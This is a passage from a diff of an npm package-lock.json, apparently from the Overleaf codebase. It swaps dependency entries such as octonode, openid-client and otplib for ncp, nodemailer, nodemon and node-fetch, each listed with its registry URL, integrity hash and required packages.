"sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", + "dev": true + }, +- "object-visit": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", +- "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", +- "requires": { +- "isobject": "^3.0.0" +- } ++ "ncp": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/ncp/-/ncp-2.0.0.tgz", ++ "integrity": "sha1-GVoh1sRuNh0vsSgbo4uR6d9727M=", ++ "optional": true + }, +- "object.assign": { +- "version": "4.1.2", +- "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", +- "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", +- "requires": { +- "call-bind": "^1.0.0", +- "define-properties": "^1.1.3", +- "has-symbols": "^1.0.1", +- "object-keys": "^1.1.1" +- } ++ "negotiator": { ++ "version": "0.6.3", ++ "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", ++ "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==" + }, +- "object.defaults": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/object.defaults/-/object.defaults-1.1.0.tgz", +- "integrity": "sha1-On+GgzS0B96gbaFtiNXNKeQ1/s8=", +- "requires": { +- "array-each": "^1.0.1", +- "array-slice": "^1.0.0", +- "for-own": "^1.0.0", +- "isobject": "^3.0.0" +- } ++ "neo-async": { ++ "version": "2.6.2", ++ "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", ++ "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" + }, +- "object.entries": { +- "version": "1.1.5", +- "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz", +- "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==", +- "dev": true, +- "requires": { +- "call-bind": "^1.0.2", +- "define-properties": "^1.1.3", +- "es-abstract": "^1.19.1" +- } ++ "next-tick": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.0.0.tgz", ++ "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw=" + }, +- "object.fromentries": { +- "version": "2.0.5", +- "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.5.tgz", +- "integrity": "sha512-CAyG5mWQRRiBU57Re4FKoTBjXfDoNwdFVH2Y1tS9PqCsfUTymAohOkEMSG3aRNKmv4lV3O7p1et7c187q6bynw==", +- "dev": true, ++ "ngcomponent": { ++ "version": "4.1.0", ++ "resolved": "https://registry.npmjs.org/ngcomponent/-/ngcomponent-4.1.0.tgz", ++ "integrity": "sha512-cGL3iVoqMWTpCfaIwgRKhdaGqiy2Z+CCG0cVfjlBvdqE8saj8xap9B4OTf+qwObxLVZmDTJPDgx3bN6Q/lZ7BQ==", + "requires": { +- "call-bind": "^1.0.2", +- "define-properties": "^1.1.3", +- "es-abstract": "^1.19.1" ++ "@types/angular": "^1.6.39", ++ "@types/lodash": "^4.14.85", ++ "angular": ">=1.5.0", ++ "lodash": "^4.17.4" + } + }, +- "object.getownpropertydescriptors": { +- "version": "2.1.3", +- "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.3.tgz", +- "integrity": "sha512-VdDoCwvJI4QdC6ndjpqFmoL3/+HxffFBbcJzKi5hwLLqqx3mdbedRpfZDdK0SrOSauj8X4GzBvnDZl4vTN7dOw==", +- "requires": { +- "call-bind": "^1.0.2", +- "define-properties": "^1.1.3", +- "es-abstract": "^1.19.1" +- } ++ "nice-try": { ++ "version": "1.0.5", ++ "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", ++ "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==" + }, +- "object.hasown": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.0.tgz", +- "integrity": "sha512-MhjYRfj3GBlhSkDHo6QmvgjRLXQ2zndabdf3nX0yTyZK9rPfxb6uRpAac8HXNLy1GpqWtZ81Qh4v3uOls2sRAg==", ++ "nise": { ++ "version": "4.1.0", ++ "resolved": "https://registry.npmjs.org/nise/-/nise-4.1.0.tgz", ++ "integrity": "sha512-eQMEmGN/8arp0xsvGoQ+B1qvSkR73B1nWSCh7nOt5neMCtwcQVYQGdzQMhcNscktTsWB54xnlSQFzOAPJD8nXA==", + "dev": true, + "requires": { +- "define-properties": "^1.1.3", +- "es-abstract": "^1.19.1" ++ "@sinonjs/commons": "^1.7.0", ++ "@sinonjs/fake-timers": "^6.0.0", ++ "@sinonjs/text-encoding": "^0.7.1", ++ "just-extend": "^4.0.2", ++ "path-to-regexp": "^1.7.0" ++ }, ++ "dependencies": { ++ "isarray": { ++ "version": "0.0.1", ++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", ++ "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", ++ "dev": true ++ }, ++ "path-to-regexp": { ++ "version": "1.8.0", ++ "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz", ++ "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==", ++ "dev": true, ++ "requires": { ++ "isarray": "0.0.1" ++ } ++ } + } + }, +- "object.map": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/object.map/-/object.map-1.0.1.tgz", +- "integrity": "sha1-z4Plncj8wK1fQlDh94s7gb2AHTc=", ++ "no-case": { ++ "version": "3.0.4", ++ "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", ++ "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", ++ "dev": true, + "requires": { +- "for-own": "^1.0.0", +- "make-iterator": "^1.0.0" ++ "lower-case": "^2.0.2", ++ "tslib": "^2.0.3" + } + }, +- "object.pick": { +- "version": "1.3.0", +- "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", +- "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", +- "requires": { +- "isobject": "^3.0.1" +- } ++ "nocache": { ++ "version": "2.1.0", ++ "resolved": "https://registry.npmjs.org/nocache/-/nocache-2.1.0.tgz", ++ "integrity": "sha512-0L9FvHG3nfnnmaEQPjT9xhfN4ISk0A8/2j4M37Np4mcDesJjHgEUfgPhdCyZuFI954tjokaIj/A3NdpFNdEh4Q==" + }, +- "object.values": { +- "version": "1.1.5", +- "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz", +- "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==", ++ "nock": { ++ "version": "0.15.2", ++ "resolved": "https://registry.npmjs.org/nock/-/nock-0.15.2.tgz", ++ "integrity": "sha1-PDLBrmASzTmOuSQKBZJEtZUI3Y0=", + "dev": true, + "requires": { +- "call-bind": "^1.0.2", +- "define-properties": "^1.1.3", +- "es-abstract": "^1.19.1" ++ "propagate": "0.2.x" + } + }, +- "obuf": { +- "version": "1.1.2", +- "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", +- "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==", +- "devOptional": true ++ "node-addon-api": { ++ "version": "3.2.1", ++ "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-3.2.1.tgz", ++ "integrity": "sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A==" + }, +- "octonode": { +- "version": "0.9.5", +- "resolved": "https://registry.npmjs.org/octonode/-/octonode-0.9.5.tgz", +- "integrity": "sha512-l+aX9jNVkaagh7u/q2QpNKdL8XUagdztl+ebXxBRU6FJ1tpRxAH/ygIuWh0h7eS491BsyH6bb0QZIQEC2+u5oA==", ++ "node-fetch": { ++ "version": "2.6.7", ++ "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz", ++ "integrity": "sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==", + "requires": { +- "bluebird": "^3.5.0", +- "deep-extend": "^0.6.0", +- "randomstring": "^1.1.5", +- "request": "^2.72.0" ++ "whatwg-url": "^5.0.0" ++ }, ++ "dependencies": { ++ "tr46": { ++ "version": "0.0.3", ++ "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", ++ "integrity": "sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o=" ++ }, ++ "webidl-conversions": { ++ "version": "3.0.1", ++ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", ++ "integrity": "sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE=" ++ }, ++ "whatwg-url": { ++ "version": "5.0.0", ++ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", ++ "integrity": "sha1-lmRU6HZUYuN2RNNib2dCzotwll0=", ++ "requires": { ++ "tr46": "~0.0.3", ++ "webidl-conversions": "^3.0.0" ++ } ++ } + } + }, +- "oidc-token-hash": { +- "version": "5.0.1", +- "resolved": "https://registry.npmjs.org/oidc-token-hash/-/oidc-token-hash-5.0.1.tgz", +- "integrity": "sha512-EvoOtz6FIEBzE+9q253HsLCVRiK/0doEJ2HCvvqMQb3dHZrP3WlJKYtJ55CRTw4jmYomzH4wkPuCj/I3ZvpKxQ==" +- }, +- "on-finished": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", +- "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", +- "requires": { +- "ee-first": "1.1.1" +- } ++ "node-forge": { ++ "version": "1.2.1", ++ "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.2.1.tgz", ++ "integrity": "sha512-Fcvtbb+zBcZXbTTVwqGA5W+MKBj56UjVRevvchv5XrcyXbmNdesfZL37nlcWOfpgHhgmxApw3tQbTr4CqNmX4w==" + }, +- "on-headers": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", +- "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==" ++ "node-gyp-build": { ++ "version": "3.9.0", ++ "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-3.9.0.tgz", ++ "integrity": "sha512-zLcTg6P4AbcHPq465ZMFNXx7XpKKJh+7kkN699NiQWisR2uWYOWNWqRHAmbnmKiL4e9aLSlmy5U7rEMUXV59+A==" + }, +- "once": { +- "version": "1.4.0", +- "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", +- "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", ++ "node-preload": { ++ "version": "0.2.1", ++ "resolved": "https://registry.npmjs.org/node-preload/-/node-preload-0.2.1.tgz", ++ "integrity": "sha512-RM5oyBy45cLEoHqCeh+MNuFAxO0vTFBLskvQbOKnEE7YTTSN4tbN8QWDIPQ6L+WvKsB/qLEGpYe2ZZ9d4W9OIQ==", ++ "dev": true, + "requires": { +- "wrappy": "1" ++ "process-on-spawn": "^1.0.0" + } + }, +- "onetime": { +- "version": "5.1.2", +- "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", +- "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", +- "requires": { +- "mimic-fn": "^2.1.0" +- } ++ "node-releases": { ++ "version": "2.0.1", ++ "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.1.tgz", ++ "integrity": "sha512-CqyzN6z7Q6aMeF/ktcMVTzhAHCEpf8SOarwpzpf8pNBY2k5/oM34UHldUwp8VKI7uxct2HxSRdJjBaZeESzcxA==" + }, +- "open": { +- "version": "8.4.0", +- "resolved": "https://registry.npmjs.org/open/-/open-8.4.0.tgz", +- "integrity": "sha512-XgFPPM+B28FtCCgSb9I+s9szOC1vZRSwgWsRUA5ylIxRTgKozqjOCrVOqGsYABPYK5qnfqClxZTFBa8PKt2v6Q==", +- "devOptional": true, +- "requires": { +- "define-lazy-prop": "^2.0.0", +- "is-docker": "^2.1.1", +- "is-wsl": "^2.2.0" +- } ++ "node-uuid": { ++ "version": "1.4.8", ++ "resolved": "https://registry.npmjs.org/node-uuid/-/node-uuid-1.4.8.tgz", ++ "integrity": "sha1-sEDrCSOWivq/jTL7HxfxFn/auQc=" + }, +- "openid-client": { +- "version": "3.15.10", +- "resolved": "https://registry.npmjs.org/openid-client/-/openid-client-3.15.10.tgz", +- "integrity": "sha512-C9r6/iVzNQ7aGp0krS5mFIY5nY8AH6ajYCH0Njns6AXy2fM3Khw/dY97QlaFJWW2QLhec6xfEk23LZw9EeX66Q==", ++ "nodemailer": { ++ "version": "6.7.2", ++ "resolved": "https://registry.npmjs.org/nodemailer/-/nodemailer-6.7.2.tgz", ++ "integrity": "sha512-Dz7zVwlef4k5R71fdmxwR8Q39fiboGbu3xgswkzGwczUfjp873rVxt1O46+Fh0j1ORnAC6L9+heI8uUpO6DT7Q==" ++ }, ++ "nodemailer-mandrill-transport": { ++ "version": "1.2.0", ++ "resolved": "https://registry.npmjs.org/nodemailer-mandrill-transport/-/nodemailer-mandrill-transport-1.2.0.tgz", ++ "integrity": "sha1-aZaQKdJZtGkhzBLbcMoVUb85SwQ=", + "requires": { +- "@types/got": "^9.6.9", +- "base64url": "^3.0.1", +- "got": "^9.6.0", +- "jose": "^1.27.1", +- "lru-cache": "^6.0.0", +- "make-error": "^1.3.6", +- "object-hash": "^2.0.1", +- "oidc-token-hash": "^5.0.0", +- "p-any": "^3.0.0" +- }, +- "dependencies": { +- "jose": { +- "version": "1.28.1", +- "resolved": "https://registry.npmjs.org/jose/-/jose-1.28.1.tgz", +- "integrity": "sha512-6JK28rFu5ENp/yxMwM+iN7YeaInnY9B9Bggjkz5fuwLiJhbVrl2O4SJr65bdNBPl9y27fdC3Mymh+FVCvozLIg==", +- "requires": { +- "@panva/asn1.js": "^1.0.0" +- } +- }, +- "lru-cache": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", +- "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", +- "requires": { +- "yallist": "^4.0.0" +- } +- }, +- "yallist": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", +- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" +- } ++ "addressparser": "^1.0.1", ++ "extend": "^3.0.0", ++ "mandrill-api": "^1.0.45" + } + }, +- "optional-require": { +- "version": "1.1.8", +- "resolved": "https://registry.npmjs.org/optional-require/-/optional-require-1.1.8.tgz", +- "integrity": "sha512-jq83qaUb0wNg9Krv1c5OQ+58EK+vHde6aBPzLvPPqJm89UQWsvSuFy9X/OSNJnFeSOKo7btE0n8Nl2+nE+z5nA==", ++ "nodemailer-ses-transport": { ++ "version": "1.5.1", ++ "resolved": "https://registry.npmjs.org/nodemailer-ses-transport/-/nodemailer-ses-transport-1.5.1.tgz", ++ "integrity": "sha1-3AWYwb9T6GUuYy6PMWks4CLX3qk=", + "requires": { +- "require-at": "^1.0.6" ++ "aws-sdk": "^2.2.36" + } + }, +- "optionator": { +- "version": "0.8.3", +- "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", +- "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", ++ "nodemon": { ++ "version": "2.0.19", ++ "resolved": "https://registry.npmjs.org/nodemon/-/nodemon-2.0.19.tgz", ++ "integrity": "sha512-4pv1f2bMDj0Eeg/MhGqxrtveeQ5/G/UVe9iO6uTZzjnRluSA4PVWf8CW99LUPwGB3eNIA7zUFoP77YuI7hOc0A==", + "dev": true, + "requires": { +- "deep-is": "~0.1.3", +- "fast-levenshtein": "~2.0.6", +- "levn": "~0.3.0", +- "prelude-ls": "~1.1.2", +- "type-check": "~0.3.2", +- "word-wrap": "~1.2.3" ++ "chokidar": "^3.5.2", ++ "debug": "^3.2.7", ++ "ignore-by-default": "^1.0.1", ++ "minimatch": "^3.0.4", ++ "pstree.remy": "^1.1.8", ++ "semver": "^5.7.1", ++ "simple-update-notifier": "^1.0.7", ++ "supports-color": "^5.5.0", ++ "touch": "^3.1.0", ++ "undefsafe": "^2.0.5" + }, + "dependencies": { +- "levn": { +- "version": "0.3.0", +- "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", +- "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", ++ "debug": { ++ "version": "3.2.7", ++ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", ++ "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "requires": { +- "prelude-ls": "~1.1.2", +- "type-check": "~0.3.2" ++ "ms": "^2.1.1" + } + }, +- "prelude-ls": { +- "version": "1.1.2", +- "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", +- "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", ++ "has-flag": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", ++ "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, +- "type-check": { +- "version": "0.3.2", +- "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", +- "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", ++ "semver": { ++ "version": "5.7.1", ++ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", ++ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", ++ "dev": true ++ }, ++ "supports-color": { ++ "version": "5.5.0", ++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", ++ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { +- "prelude-ls": "~1.1.2" ++ "has-flag": "^3.0.0" + } + } + } + }, +- "options": { +- "version": "0.0.6", +- "resolved": "https://registry.npmjs.org/options/-/options-0.0.6.tgz", +- "integrity": "sha1-7CLTEoBrtT5zF3Pnza788cZDEo8=" +- }, +- "ordered-read-streams": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/ordered-read-streams/-/ordered-read-streams-1.0.1.tgz", +- "integrity": "sha1-d8DLN8QVJdZBZtmQ/61+xqDhNj4=", +- "dev": true, ++ "nopt": { ++ "version": "5.0.0", ++ "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", ++ "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==", + "requires": { +- "readable-stream": "^2.0.1" +- }, +- "dependencies": { +- "isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", +- "dev": true +- }, +- "readable-stream": { +- "version": "2.3.7", +- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", +- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", +- "dev": true, +- "requires": { +- "core-util-is": "~1.0.0", +- "inherits": "~2.0.3", +- "isarray": "~1.0.0", +- "process-nextick-args": "~2.0.0", +- "safe-buffer": "~5.1.1", +- "string_decoder": "~1.1.1", +- "util-deprecate": "~1.0.1" +- } +- }, +- "string_decoder": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", +- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", +- "dev": true, +- "requires": { +- "safe-buffer": "~5.1.0" +- } +- } ++ "abbrev": "1" + } + }, +- "os-tmpdir": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", +- "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=" ++ "normalize-path": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", ++ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==" + }, +- "ospath": { +- "version": "1.2.2", +- "resolved": "https://registry.npmjs.org/ospath/-/ospath-1.2.2.tgz", +- "integrity": "sha1-EnZjl3Sj+O8lcvf+QoDg6kVQwHs=", ++ "normalize-range": { ++ "version": "0.1.2", ++ "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", ++ "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=", + "dev": true + }, +- "otplib": { +- "version": "12.0.1", +- "resolved": "https://registry.npmjs.org/otplib/-/otplib-12.0.1.tgz", +- "integrity": "sha512-xDGvUOQjop7RDgxTQ+o4pOol0/3xSZzawTiPKRrHnQWAy0WjhNs/5HdIDJCrqC4MBynmjXgULc6YfioaxZeFgg==", ++ "now-and-later": { ++ "version": "2.0.1", ++ "resolved": "https://registry.npmjs.org/now-and-later/-/now-and-later-2.0.1.tgz", ++ "integrity": "sha512-KGvQ0cB70AQfg107Xvs/Fbu+dGmZoTRJp2TaPwcwQm3/7PteUyN2BCgk8KBMPGBUXZdVwyWS8fDCGFygBm19UQ==", ++ "dev": true, + "requires": { +- "@otplib/core": "^12.0.1", +- "@otplib/preset-default": "^12.0.1", +- "@otplib/preset-v11": "^12.0.1" ++ "once": "^1.3.2" + } + }, +- "overleaf-editor": { +- "version": "file:services/history-v1", ++ "npm-run-path": { ++ "version": "4.0.1", ++ "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", ++ "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", ++ "devOptional": true, + "requires": { +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/object-persistor": "^1.0.1", +- "archiver": "^5.3.0", +- "basic-auth": "^2.0.1", +- "bluebird": "^3.7.2", +- "body-parser": "^1.19.0", +- "bunyan": "^1.8.12", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "check-types": "^11.1.2", +- "command-line-args": "^3.0.3", +- "config": "^1.19.0", +- "cookie-parser": "~1.4.5", +- "cors": "^2.8.5", +- "express": "^4.17.1", +- "fs-extra": "^9.0.1", +- "generic-pool": "^2.1.1", +- "helmet": "^3.22.0", +- "http-status": "^1.4.2", +- "istanbul": "^0.4.5", +- "jsonwebtoken": "^8.5.1", +- "knex": "^0.21.17", +- "lodash": "^4.17.19", +- "mocha": "^8.4.0", +- "node-fetch": "^2.6.7", +- "overleaf-editor-core": "*", +- "pg": "^8.7.1", +- "sinon": "^9.0.2", +- "string-to-stream": "^1.0.1", +- "swagger-client": "^3.10.0", +- "swagger-tools": "^0.10.4", +- "temp": "^0.8.3", +- "throng": "^4.0.0", +- "tsscmp": "^1.0.6", +- "utf-8-validate": "^5.0.4", +- "yauzl": "^2.9.1" +- }, +- "dependencies": { +- "array-back": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz", +- "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=", +- "requires": { +- "typical": "^2.6.0" +- } +- }, +- "check-types": { +- "version": "11.1.2", +- "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.1.2.tgz", +- "integrity": "sha512-tzWzvgePgLORb9/3a0YenggReLKAIb2owL03H2Xdoe5pKcUyWRSEQ8xfCar8t2SIAuEDwtmx2da1YB52YuHQMQ==" +- }, +- "command-line-args": { +- "version": "3.0.5", +- "resolved": "https://registry.npmjs.org/command-line-args/-/command-line-args-3.0.5.tgz", +- "integrity": "sha1-W9StReeYPlwTRJGOQCgO4mk8WsA=", +- "requires": { +- "array-back": "^1.0.4", +- "feature-detect-es6": "^1.3.1", +- "find-replace": "^1.0.2", +- "typical": "^2.6.0" +- } +- }, +- "find-replace": { +- "version": "1.0.3", +- "resolved": "https://registry.npmjs.org/find-replace/-/find-replace-1.0.3.tgz", +- "integrity": "sha1-uI5zZNLZyVlVnziMZmcNYTBEH6A=", +- "requires": { +- "array-back": "^1.0.4", +- "test-value": "^2.1.0" +- } +- }, +- "fs-extra": { +- "version": "9.1.0", +- "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", +- "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", +- "requires": { +- "at-least-node": "^1.0.0", +- "graceful-fs": "^4.2.0", +- "jsonfile": "^6.0.1", +- "universalify": "^2.0.0" +- } +- }, +- "test-value": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/test-value/-/test-value-2.1.0.tgz", +- "integrity": "sha1-Edpv9nDzRxpztiXKTz/c97t0gpE=", +- "requires": { +- "array-back": "^1.0.3", +- "typical": "^2.6.0" +- } +- } ++ "path-key": "^3.0.0" + } + }, +- "overleaf-editor-core": { +- "version": "file:libraries/overleaf-editor-core", ++ "npmlog": { ++ "version": "5.0.1", ++ "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz", ++ "integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==", + "requires": { +- "@overleaf/o-error": "^3.4.0", +- "@types/bluebird": "^3.5.30", +- "bluebird": "^3.1.1", +- "chai": "^3.3.0", +- "check-types": "^5.1.0", +- "istanbul": "^0.4.5", +- "lodash": "^4.17.19", +- "mocha": "^6.1.4", +- "typescript": "^4.5.5" ++ "are-we-there-yet": "^2.0.0", ++ "console-control-strings": "^1.1.0", ++ "gauge": "^3.0.0", ++ "set-blocking": "^2.0.0" ++ } ++ }, ++ "nth-check": { ++ "version": "2.0.1", ++ "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.0.1.tgz", ++ "integrity": "sha512-it1vE95zF6dTT9lBsYbxvqh0Soy4SPowchj0UBGj/V6cTPnXXtQOPUbhZ6CmGzAD/rW22LQK6E96pcdJXk4A4w==", ++ "dev": true, ++ "requires": { ++ "boolbase": "^1.0.0" ++ } ++ }, ++ "num2fraction": { ++ "version": "1.2.2", ++ "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz", ++ "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=", ++ "dev": true ++ }, ++ "nvd3": { ++ "version": "1.8.6", ++ "resolved": "https://registry.npmjs.org/nvd3/-/nvd3-1.8.6.tgz", ++ "integrity": "sha1-LT66dL8zNjtRAevx0JPFmlOuc8Q=", ++ "requires": {} ++ }, ++ "nwsapi": { ++ "version": "2.2.0", ++ "resolved": 